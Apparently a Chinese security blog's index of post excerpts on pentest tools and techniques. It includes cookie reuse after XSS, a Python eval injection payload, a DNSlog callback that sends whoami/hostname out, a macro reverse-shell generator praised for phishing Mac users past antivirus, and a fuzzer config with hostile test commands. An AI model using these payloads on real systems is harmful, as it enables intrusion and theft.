Python编程

【burp插件】— Cookie Via XSS

【burp插件】— Cookie Via XSS
        每当通过XSS打到了Cookie后,需要替换Cookie进行使用时,可以试一试这个插件。提示信息说明:        CookieXSS Code By Nerd.        Write Your Cookie into file: /Users/komi/PycharmProjects/BurpExtends/CookieViaXss/cookie.txt         Like:        domain=baidu.com        bid=c5/a==; BaiLoginName=test;SessionID=F21DFEWFAFFAFQFQEFAFAEF;        domain:       设置当前的Cookie替换域,即:启用该插件后,经过burp的*.baidu.com的域名的流量都会替换使用该Cookie.剩下的数据都是XSS 获取到的Cookie值.bid=c5/a==; BaiLoginName=test;SessionID=F21DFEWFAFFAFQFQEFAFAEF;效果:代码地址:https://github.com/coffeehb/tools/tree/master/Cookie%20Via%20XSS... 继续阅读 »
思考人生

2017.12.09

2017.12.09
有时候再好的技术,也胜不过一份好的履历.... 继续阅读 »
渗透技巧

python中eval

python中eval
python中eval 今天在审计python代码中看到了eval,于是这里做一个小笔记。 假设场景 有如下场景,eval("obj."+ hack)中hack是可控的,obj是一个对象如模块os. 攻击与利用 对于上面的场景,如果eval的参数完全可控的话,要利用就十分简单了。比如: 如果参数只是eval的一部分为数字,利用可以像下面的方式: 比较麻烦的是前面一部分假设场景的那种,里面是一个对象,比如: import os obj = os eval("obj."+hack) 或者 eval("hello"+hack) 或者 eval("hello."+hack) 这个时候的payload是: hack = "**init**,**import**('os').system('id')" 或者: hack = ".**init**,**import**('os').system('id')" 这里利用的是,字符串或者对象都有的默认的函数:init(),从而实现的: 测试如下图: 说明: 因为MD的格式问题,** 是双下划线的意思,看图就知道了。 找到的相关的几篇好文章: http://www.freebuf.com/articles/web/73658.html http://www.freebuf.com/articles/web/73669.html http://ju.outofmemory.cn/entry/195486... 继续阅读 »
渗透工具

如何用一个域名搭建一套dnslog平台

如何用一个域名搭建一套dnslog平台
前几天在大土司上看到有大佬分享了一套dnslog平台代码,地址: https://github.com/LandGrey/dnstricker 该代码从最之前的BugScan的DNSLog二次开发而来,dnslog对于盲测有重要的意义。(听过CplusHua的盲攻击课程的人应该最能体会到)。下面记录的是我如何用一个域名+一台VPS完成一套dnslog平台的搭建。 1. 准备 买一了个域名coffeehb.cn 买了一台VPS Ubuntu 16.04x64 2.万网域名配置: 2.1 添加1个A记录指向我们的VPS 比如我这里: gitscan.coffeehb.cn 指向 47.52.234.114 2.2 添加2个NS记录指向,上一条的地址 比如我这里: dns.coffeehb.cn 和 dns1.coffeehb.cn 指向 gitscan.coffeehb.cn 3. 下载dnstricker代码使其跑起来 这里环境部署,依赖的模块,生成数据库操作等就不说了,GitHub的文档里有说明的。 直接说需要特别修改的配置地方。 3.1 修改dnstricker.py文件 修改dnstricker.py文件将126-128行的代码修改为实际的环境 比如我改成这样的: dns_domain = 'dns.coffeehb.cn' ip_address = '47.52.234.114' default_ip = '192.168.1.1' 3.2 修改/dnstricker/logeyes/dnslog/settings.py文件 需要修改的项和值如下: 做dns记录的域名 DNS_DOMAIN = 'dns.coffeehb.cn' 记录管理的域名 ADMIN_DOMAIN = 'dnslog.coffeehb.cn' NS域名 NS1DOMAIN = 'dns.coffeehb.cn' NS2DOMAIN = 'dns1.coffeehb.cn' 服务器外网地址 SERVERIP = '47.52.234.114' 允许的HOSTS ALLOWEDHOSTS = [".coffeehb.cn"] KEY SECRET_KEY=随便修改其中的某些位,随机的就OK 4. Nginx的配置文件 修改提供的nginx.conf文件中的server为实际环境,比如我的配置如下: 到这里所有的特殊配置就完成了,其他的那些Django的操作部分就自行解决吧。 特别注意一点,在添加前台用户的时候这个Udomain是个人唯一域名: 比如下面的测试账号: 5. 运行和测试 nohup python manage.py runserver 127.0.0.1:10101 & 登录测试账号测试DNSlog是否起作用 测试账号的Udomain为hack,所以所有的请求 *.hack.dns.coffeehb.cn的记录都会被记录下来,该用户可以通过登录控制台查看得到的。 测试命令: ping`whoami`.`hostname`.hack.dns.coffeehb.cn 测试截图如下: 6. 后话 基本完成了1个域名搭建一套自己的DNSLog的需求 nginx最好配置使用80端口,因为代码里很多跳转写死了. DNS记录和HTTP记录可以优化一下,根据IP去重不然记录的东西太多太杂了.... 继续阅读 »
渗透技巧

CNVD,Exploit-DB,0day-today漏洞信息采集实现

CNVD,Exploit-DB,0day-today漏洞信息采集实现
CNVD, Exploit-DB,0day-today漏洞信息采集工具 背景 最近因为工作需要,自己写了一点小程序从CNVD,Exploit-DB,0day-today采集一些web相关的漏洞信息,然后根据需要的字段把采集回来的信息存储在mysql数据库中。 问题和解决思路 CNVD和0day-today都有云加速服务带来的前端浏览器检查,用传统办法构造http包形式进行信息爬取办法行不通,逆向分析前端校验JS程序成本太高(这里有一篇别人曾经的分析http://www.test404.com/post-776.html)。这类工具其实就是一个爬虫程序,要实现爬虫程序有很多方式, 经过对要采集的网站进行分析,最后使用了selenium 驱动浏览器来实现的成本最低。 简析源码 1)CNVD采集脚本实现 第一步获取所有的漏洞链接: 可以从下面这个地址去取得: http://www.cnvd.org.cn/flaw/typeResult?max=100&offset=1&typeId=29 我这里使用正则表达式去获取每一个漏洞的CNVD编号 reg = 'CNVD-[\d-]+' find = re.compile(reg) all_CNVDs = [] url = "http://www.cnvd.org.cn/flaw/typeResult?max=100&offset=%s&typeId=29" % str(offset) html = self.getHtml(url, 3, 3) new_vulns = find.findall(html) if len(new_vulns) > 1: all_CNVDs += new_vulns else: print "nothing ....." return all_CNVDs 第二步再构造查看漏洞具体信息的地址: 比如: http://www.cnvd.org.cn/flaw/show/CNVD-2017-28254 然后再去解析出每一个字段,这里主要使用BeautifulSoup去解析html. 实现的脚本文件是:/cnvd/VulnsColect.py 2) Exploit-DB采集实现 exploit-db是最友好的网站了,没有前端的浏览器检查机制,这里完全可以用传统的python+requests或者爬虫框架来实现。 同样需要关注的2个接口 获取漏洞链接: https://www.exploit-db.com/webapps/?orderby=datepublished&order=desc&pg=1 获取详细信息: https://www.exploit-db.com/exploits/43053/ 实现的脚本文件是:exploitdb/crawler.py 3) 0day.today采集 这个网站的采集和CNVD的差不多,但是因为这个网站在国外加上有前端浏览器检查,所以加载速度特别慢。 不过思路大致一样: 从如下面的接口去解析漏洞的链接: http://0day.today/platforms/asp/1 然后再用BeautifulSoup去解析出各个需要保存的字段,一看代码就能明白的。 最后的数据截图: 下载地址 下载地址... 继续阅读 »
渗透工具

【macphish】Office for Mac Macro Payload Generator

【macphish】Office for Mac Macro Payload Generator
Office for Mac Macro Payload Generator 一款用于Mac下Office利用宏生成反弹shell Payload的工具 GitHub开源地址: macphish 官方wiki: Usage 下面使用Mac + Office 2016 + msf的meterpreter进行测试, 根据wiki说明只能使用payload类型为python 的。 第一步:生成payload ./macphish.py -lh 127.0.0.1 -lp 65511 -p python/meterpreter/reverse_http -a meterpreter -m 第二步:制作word文件,插入宏代码 插入生成的payload文件: 第三步:打开msf监听 这里GET新技巧,可以把下面的代码保存为sh文件,配置到环境变量,比如我的Mac配置: 我这样配置以后,每次只需要打开终端,输入:startmsf 即可 最后:双击打开testme测试文档获得shell 这个工具还是很有用处,生成的payload过了大部分杀软,专门对Mac用户做钓鱼是极好的!!! 绝密:绝密文件... 继续阅读 »
渗透技巧

又一个MVC对象自动绑定变量导致任意密码重置漏洞案例

又一个MVC对象自动绑定变量导致任意密码重置漏洞案例
本案例在测试客户的WEB系统时遇到,这里做一下复现笔记,记录一种姿势!! 关于MVC的对象自动绑定的说明可以看这篇: http://agrrrdog.blogspot.ru/2017/03/autobinding-vulns-and-spring-mvc.html 复现过程如下: 输入账号,填写验证码 配置burp代理,点击“下一步” 抓包 抓到原始的请求 添加email=hacker@qq.com 发送成功 收到邮件 重置密码: 8.成功重置 思考与讨论: 1. 这种漏洞感觉很有意思,如何做自动化测试或半自动化fuzz? 2. 以后见到JAVA WEB类网站,一定别忘了这种姿势啊!!!不能忘!!不能忘!!! 3. 后来发现,凡是修改信息的地方,这种姿势都能有效,哪么一种越权漏洞就产生了,甚至利用面还有更广的?... 继续阅读 »
渗透技巧

Docker 清理命令集锦[转]

Docker 清理命令集锦[转]
这篇文章主要介绍了Docker 清理命令集锦,需要的朋友可以参考下 杀死所有正在运行的容器 docker kill $(docker ps -a -q) 删除所有已经停止的容器 docker rm $(docker ps -a -q) 删除所有未打 dangling 标签的镜像 docker rmi $(docker images -q -f dangling=true) 删除所有镜像 docker rmi $(docker images -q) ~/.bash_aliases 杀死所有正在运行的容器. alias dockerkill='docker kill $(docker ps -a -q)' 删除所有已经停止的容器. alias dockercleanc='docker rm $(docker ps -a -q)' 删除所有未打标签的镜像. alias dockercleani='docker rmi $(docker images -q -f dangling=true)' 删除所有已经停止的容器和未打标签的镜像. alias dockerclean='dockercleanc || true && dockercleani' 另附上docker常用命令 docker version #查看版本 docker search tutorial#搜索可用docker镜像 docker pull learn/tutorial #下载镜像 docker run learn/tutorial echo "hello word"#在docker容器中运行hello world! docker run learn/tutorial apt-get install -y ping#在容器中安装新的程序 保存镜像 首先使用docker ps -l命令获得安装完ping命令之后容器的id。然后把这个镜像保存为learn/ping。 提示: 1.运行docker commit,可以查看该命令的参数列表。 2.你需要指定要提交保存容器的ID。(译者按:通过docker ps -l 命令获得) 3.无需拷贝完整的id,通常来讲最开始的三至四个字母即可区分。(译者按:非常类似git里面的版本号) 正确的命令: docker commit 698 learn/ping 运行新的镜像 docker run lean/ping ping www.google.com 检查运行中的镜像 现在你已经运行了一个docker容器,让我们来看下正在运行的容器。 使用docker ps命令可以查看所有正在运行中的容器列表,使用docker inspect命令我们可以查看更详细的关于某一个容器的信息。 目标: 查找某一个运行中容器的id,然后使用docker inspect命令查看容器的信息。 提示: 可以使用镜像id的前面部分,不需要完整的id。 正确的命令: docker inspect efe ps目前还在开发阶段,不建议部署到生产环境中,继续观望中。。。... 继续阅读 »
渗透技巧

一个半自动化的命令注入Fuzz工具-OCIFT

一个半自动化的命令注入Fuzz工具-OCIFT
一个半自动化的命令注入Fuzz工具-OCIFT 1. OCIFT是什么 一个半自动化命令注入漏洞Fuzz工具(One Semi-automation command injection vulnerability Fuzz tool)简写为:OCIFT 2. OCIFT有什么用 这是一种半自动化的黑盒测试工具,它可以帮助渗透测试人员或代码审计人员在愉快的上网的同时,深度挖掘目标应用系统存在的命令注入漏洞。 3. OCIFT有什么特点 Payload基于Commix生成方式修改而来(需要持续完善). 基于浏览器代理的半自动化Fuzz. 多线程Fuzz速度快,不影响正常浏览器访问使用. 支持设置白名单限制Fuzz范围. 支持设置黑名单避免带来不必要的麻烦. 支持DNSLog辅助验证 4. OCIFT实现思路 基于Tornado的实现一个代理服务器,解析GET/POST请求提取Fuzz点,带入payload进行Fuzz测试。 文件结构说明 ➜ cifuzz git:(master) ✗ tree . |____run.py 主程序入口 |____dnslog.py DNSLog SDK |____fuzz.conf 配置文件 |____fuzz.py Fuzz线程 |____make_payload.py Payload生成器 |____readme.md 说明文档 5. 配置文件说明 配置各个参数,以逗号分隔 [initconfig] 黑名单HOST-为了避免带来不必要的麻烦 black_hosts =.gov,localhost,127.0.0.1,google,gstatic,cnzz.com,doubleclick,police,mil.cn,gov.cn,gov.com 静态文件黑名单-这些不做Fuzz url_ext_black =.ico,.flv,.css,.jpg,.png,.jpeg,.gif,.pdf,.ss3,.txt,.rar,.zip,.avi,.mp4,.swf,.wmi,.exe,.mpeg 白名单HOST-为了限制Fuzz的范围, 默认为空-表示对除黑名单范围外的所有地址进行Fuzz. white_site =qunar 请求超时-限制每次Fuzz请求超时时间 timeout =10 我的DnsLog地址 my_cloudeye =ano1qu2j.xfkxfk.com 判断是够注入命令执行成功的关键字 checkkeys =110586256,/bin/bash,nameserver,IPv4,Windows IP 用于测试命令注入的基本命令 base_command =cat /etc/resolv.conf,echo 110586256,cat /etc/passwd,ipconfig,ping CommandInj.{my_cloudeye},echo 110586256<nul Fuzz线程数 fuzz_count =20 fuzz的payload类型, 默认False-表示使用自定义的规则 commix_payload_type = False DnsLog登录会话ID,我用的xfkxfk牛的dnslog.xfkxfk.com dnslog_sessionid =q6wva2e3skg79vkdegra2bygft0d1 Your Domain custom_domain =a2fta2j 记录成功结果的Log文件 Logfile =rce_success_results.txt 6.如何使用 1.安装模块 pip install tornado pip install requests 2.根据自己需要完成文件fuzz.conf的配置 3.启用主程序 python run.py 8089 如下图: 4.设置浏览器代理 然后会自动开始Fuzz 7.总结 基本实现了想要的半自动化Fuzz功能 payload还需要不断优化 Github地址:OCIFT地址 欢迎大佬提出改进意见,多谢咯!!... 继续阅读 »
渗透技巧

利用scapy 造了一个Passive DNS Collector 工具—pdns_sniff

利用scapy 造了一个Passive DNS Collector 工具—pdns_sniff
利用scapy 造了一个Passive DNS Collector 工具——pdns_sniff pdns_sniff是什么? 简单理解为一个记录你发起过的DNS请求的东西,利用了Passive DNS 思路,被动的记录发起过的DNS请求。 pdns_sniff有什么用? 利用这样的工具可以帮助我在愉快的上网的同时,轻松搜集到测试目标的各种子域名。 pdns_sniff原理是什么? 利用了python里的强大的scapy套件,运用它抓取,解析出DNS请求包从而得到各种域名。使用了mysql进行数据存储,利用了gevent协程进行并发进行数据包的分析和写入数据库(PS:刚学gevent,拿来用用。) 效果图 效果图一:数据库中记录1 效果图二:数据库中记录2 效果图三:工具输出记录 效果图四:使用方法 需要安装的三方库 gevent scapy MySQLdb 需要修改的数据库配置 大概在第29行 conn = mysql.connect(user='root', passwd='yourpassword', host='127.0.0.1', db='dnslogsDB') pdns_sniff的相关代码 pdns_sniff代码... 继续阅读 »